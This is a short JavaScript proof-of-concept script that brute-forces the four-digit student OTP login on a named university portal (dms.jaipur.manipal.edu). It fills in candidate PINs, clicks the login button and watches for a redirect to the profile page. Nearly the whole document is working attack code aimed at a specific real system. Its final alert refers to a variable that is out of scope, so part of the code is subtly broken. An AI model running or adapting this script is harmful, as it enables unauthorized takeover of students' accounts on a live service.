POC in Javascript for Bruteforcing OTP PIN Efficiently (dms.jaipur.manipal.edu)

DMSBrute.js

// Author : PIYUSH RAJ (0x48piraj)
// Proof-of-Concept (POC) : Javascript

function sleepFor( sleepDuration ){
    var now = new Date().getTime();
    while(new Date().getTime() < now + sleepDuration){ /* do nothing */ } 
}

function check(combo){
 document.getElementById("TxtStduentOTP").value = combo;
 console.log('Trying: '+combo);
 sleepFor(20);
 document.getElementById("btnLoginByStdent").click();
 return document.URL === "https://dms.jaipur.manipal.edu/studentProfile.aspx";
}

function lpad(number, targetLength) {
  return  (Array.apply(null,Array(targetLength)).map(function(){return '0';}).join('') + number).slice(-targetLength);
}

function breakOTP() {
var found = false;
var count = 1000; // OTP generated is always par 1000, thus it helps reducing 1000 combinations
while(!found && count < 10000){
    found = check(lpad(count,4));
    count++;
}

if (found) {
  alert("The pin number is, actually was : " + combo);
}
}